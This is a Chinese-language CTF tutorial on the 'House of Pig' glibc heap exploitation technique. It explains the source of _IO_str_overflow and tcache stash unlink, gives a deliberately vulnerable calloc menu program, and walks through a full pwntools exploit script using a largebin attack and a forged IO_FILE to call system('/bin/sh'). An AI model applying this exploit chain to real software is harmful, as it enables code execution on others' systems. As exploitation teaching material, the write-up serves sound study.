House Of Pig
House of Pig
是利用tcache stash unlink
与largebin attack
攻击IO_FILE
共同实现的一种手法,一般来说利用得到的任意地址写能力往hook
上写数据,从而完成对程序流的劫持。
一、关键源码分析:_IO_str_overflow
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp); //扩展到:((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // malloc(2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen); // old_buf 内容复制到 new_buf 中
free (old_buf); // free
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
可以看到,在_IO_str_overflow
中,进行了malloc
、memcpy
、free
操作。设想一下,如果我们在malloc
中能够申请到__free_hook
附近的fake chunk
,通过在old_buf
中布置好合适数据,通过memcpy
往__free_hook
上写入地址,则在free
环节就会劫持程序流到目标地址。最简单直接的,如果写入是=system
的地址,并在old_buf
中布置合适的"/bin/sh\x00"
字符串,就可以getshell
。
二、回顾tcache stash unlink
较高版本的glibc
已经引入tcache
,而我们知道,calloc
函数并不会在tcache
中申请堆块。其中一种利用手法是tcache stash unlink
。
static void *
_int_malloc(mstate av, size_t bytes)
{
...
if (in_smallbin_range(nb))
{
idx = smallbin_index(nb);
bin = bin_at(av, idx);
if ((victim = last(bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena(victim);
check_malloced_chunk(av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset(tc_victim, nb);
if (av != &main_arena)
set_non_main_arena(tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put(tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
...
}
当从smallbin
中取出chunk
时, /* While bin not empty and tcache not full, copy chunks over. */
,如果对应大小的tcachebin
尚有空闲位置,且smallbin
中仍有多余chunk
则会将smallbin
中这部分多余的chunk
转移到tcachebin
中,即stash
。
我们可以看到,除了对取出的victim chunk
有双向链表的检查外,在stash
部分,即:
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset(tc_victim, nb);
if (av != &main_arena)
set_non_main_arena(tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put(tc_victim, tc_idx);
}
中,只对双向链表结构的smallbin
中的chunk
进行了unlink
操作,然后就直接被tcache_put
插入到tcachebin
中,而**没有对双向链表的检查!**这意味着如果我们修改smallbin
中chunk
的bk
指针,就可能将fake chunk
引入到tcachebin
中,实现任意地址malloc
。
三、总结利用要求、条件与方法
(在比如程序中没有显示malloc
只有calloc
的条件下)我们期望什么,如何利用?“思考”总是一个逆过程:
- 能够利用
_IO_str_overflow
的malloc
、memcpy
与free
写入并触发__free_hook
劫持程序执行流
实现上述目标需要:
- 能够跳转到或触发
_IO_str_overflow
函数 - 需要控制好
IO_FILE
结构体的成员满足malloc
和memcpy
的参数要求
- 因此,需要
__free_hook
附近的一块fake chunk
,需要劫持控制IO
实现上述目标需要:
- 通过
tcache stash unlink
获得__free_hook
附近的fake chunk
- 通过
largebin attack
劫持_IO_list_all
,并申请出fake file
,布置合适的结构体成员并将vtable
指向_IO_str_jumps
表
四、模板题与解法
(一)模板题源码pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = calloc(1, size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
(二)利用过程与exp
largebin attack
往__free_hook
所在fake chunk
的bk
指针域写上一个可写内存(堆地址),从而满足tcache stash unlink
时内存修改的可写要求。在这个过程中泄露出libc
和heap base
。
# leak libc & heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
edit(2, b'a')
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + u8(b'a'))
edit(2, b'\x00')
success("heap base: " + hex(heap_base))
success("libc base: " + hex(libc.address))
然后进行largebin attack
在__free_hook
附近的fake_chunk
构造具有可写的指针;劫持_IO_list_all
# largebin attack
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['__free_hook'] - 0x20 - 0x8))
delete(0)
add(0, 0x408)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(0,0x408)
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(heap_base+0x6d0)*2)
add(2,0x428) # _IO_list_all -> addr(chunk2)
布置tcache stash unlink
,tcachebin
中放5个chunk
,smallbin
中放两个chunk
,并篡改stash
的chunk
的bk
指针
# tcache stash unlink
for i in range(10,15):
add(i,0x100)
for i in range(10,15):
delete(i)
add(20,0x410)
add(21,0x18)
add(22,0x410)
add(23,0x18)
delete(20)
delete(22)
add(20,0x300)
add(22,0x300)
add(24,0x418)
edit(22,0x300*b'\x00'+p64(0)+p64(0x111)+p64(heap_base+0x17c0)+p64(libc.sym['__free_hook']-0x20))
add(25,0x100)
# gdb.attach(io,"b _int_malloc\nc")
pause()
(这里没暂停到,再次运行了libc
基址变了,特此说明)
然后在申请出来的largebin chunk
上,也即_IO_list_all
指向的fake_file
,布置数据:
fake_file_addr = heap_base + 0x6d0
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(fake_file_addr + 0xe0) # _IO_buf_base;
fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2)) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(IO_str_jumps) # fake vtable
fake_file += b'/bin/sh\x00'
fake_file += p64(0)
fake_file += p64(libc.sym['system'])
edit(2,fake_file)
结果便是:
pwndbg> p *(struct _IO_FILE_plus*)_IO_list_all
$2 = {
file = {
_flags = 0,
_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x7dc24b37a370 <__libc_system> "\363\017\036\372H\205\377t\a\351\262\372\377\377f\220H\203\354\bH\215=\321\305\023",
_IO_write_end = 0x0,
_IO_buf_base = 0x592df02fd7b0 "/bin/sh",
_IO_buf_end = 0x592df02fd802 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7dc24b4ed6c0 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7dc24b4ef560 <fork_handlers+64>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7dc24b4ed560 <_nl_global_locale+160>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7dc24b4ee560 <_IO_str_jumps>
}
退出时flush
触发overflow (_IO_str_jumps)
,进入利用链。getshell